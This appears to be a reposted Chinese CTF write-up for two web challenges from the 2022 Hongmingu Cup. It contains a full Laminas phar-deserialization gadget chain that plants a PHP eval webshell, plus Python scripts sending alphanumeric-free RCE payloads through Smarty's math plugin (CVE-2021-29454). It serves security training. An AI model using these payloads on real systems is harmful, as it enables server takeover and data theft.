IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 2022红明谷杯web -> 正文阅读

[PHP知识库]2022红明谷杯web

Fan website

题目给了提示,和laminas有关。
在这里插入图片描述
扫描目录得到源码。
审计代码发现题目有个album路由,并且控制器只有一个/module/Album/src/Controller/AlbumController.php

里面包含几个处理函数,可以上传文件,删除文件。
但是上传文件过滤是白名单所以不是很好绕过。
在这里插入图片描述
并且内容里面不能有<? HALT_COMPILER
在这里插入图片描述
这就有点此地无银三百两了,无缘无故为啥过滤和phar有关的HALT_COMPILER。
上网搜这个组件的漏洞发现了一个反序列化漏洞https://xz.aliyun.com/t/8975,那就好说了,我们可以上传一个phar文件,然后删除文件调用unlink时触发反序列化。但是还得保证内容大于3kb,所以在序列化时加了个str_repeat('123',1000000)

<?php 

namespace Laminas\View\Resolver{
	class TemplateMapResolver{
		protected $map = ["setBody"=>"system"];
	}
}
namespace Laminas\View\Renderer{
	class PhpRenderer{
		private $__helpers;
		function __construct(){
			$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
		}
	}
}


namespace Laminas\Log\Writer{
	abstract class AbstractWriter{}
	
	class Mail extends AbstractWriter{
		protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/a.php"];  								//  cmd  cmd cmd
		protected $subjectPrependText = null;
		protected $mail;
		function __construct(){
			$this->mail = new \Laminas\View\Renderer\PhpRenderer();
		}
	}
}

namespace Laminas\Log{
	class Logger{
		protected $writers;
		function __construct(){
			$this->writers = [new \Laminas\Log\Writer\Mail()];
		}
	}
}

namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", str_repeat('123',1000000)); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>

链子出来了还有个问题需要解决。绕过<?和__HALT_COMPILER
网上找到篇文章https://www.wangan.com/p/7fygf7a00f0fd793
在这里插入图片描述
可以把生成的phar文件gzip压缩。然后将后缀改成png。
上传完成后拿到文件路径。
在这里插入图片描述
文件删除处传入phar:///var/www/public/img/00bf23e130fa1e525e332ff03dae345d.png

在这里插入图片描述
蚁剑连接后得到flag
在这里插入图片描述

Smarty_calculator

扫描后台拿到源码
题目名字就是本题的考点了,php中的smarty模板。
经过搜索发现了和这个相关的cve CVE-2021-29454,是利用smarty中的math
学习一波之后就是可以通过传入{math equation="(( x + y ) / z )" x=2 y=10 z=2}进行计算。

并且源码中存在相关的文件src/Smarty/plugins/function.math.php
在里面发现了eval函数
在这里插入图片描述
那题目考查的应该就是命令执行漏洞了,往上翻,equation里面的内容不能有反引号和$并且左右括号个数要匹配。除此之外,还会进行一个正则匹配。
在这里插入图片描述
大概就是不能存在16进制,不能有字母开头的,否则的话,进入这个foreach循环。
在往下还是一个循环,如果传入的内容中使用的字符串不是equation或者format或者assign就会进行一个替换。
所以我们如果避免这两个循环就可以将传入的内容拼接后放入eval中。
我们很容易想到无数字字母rce。这样就被不会被正则表达式匹配到,也可以绕过另外一个循环(没有其他字母,$param中就只有equation一个键值)。
无数字字母的脚本我之前写了一个比较全的。https://blog.csdn.net/miuzzx/article/details/109143413直接拿自己脚本用了。
采用或运算构造,先来试下phpinfo
在这里插入图片描述

import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"

data={'data':urllib.parse.unquote(''' {math equation="1;('%30%28%30%29%2e%26%2f'|'%40%40%40%40%40%40%40')();//" }''')}

r=requests.post(url,data=data,cookies={'login':'1'})
print(r.text)

在这里插入图片描述
存在df,但是留了个popen,所以可以用popen执行系统命令。
盲猜一波flag路径为/flag,执行系统命令cp /flag a
也就是构造php语句popen('cp /f* a','r')
在这里插入图片描述

import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"

data={'data':urllib.parse.unquote(''' {math equation="1;('%30%2f%30%25%2e'|'%40%40%40%40%40')(('%23%30%00%00%26%00%00%21'|'%40%40%20%2f%40%2a%20%40'),('%32'|'%40'));//" }''')}

r=requests.post(url,data=data,cookies={'login':'1'})
print(r.text)

访问/a得到flag
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-31 23:44:14  更:2022-03-31 23:45:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 16:25:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码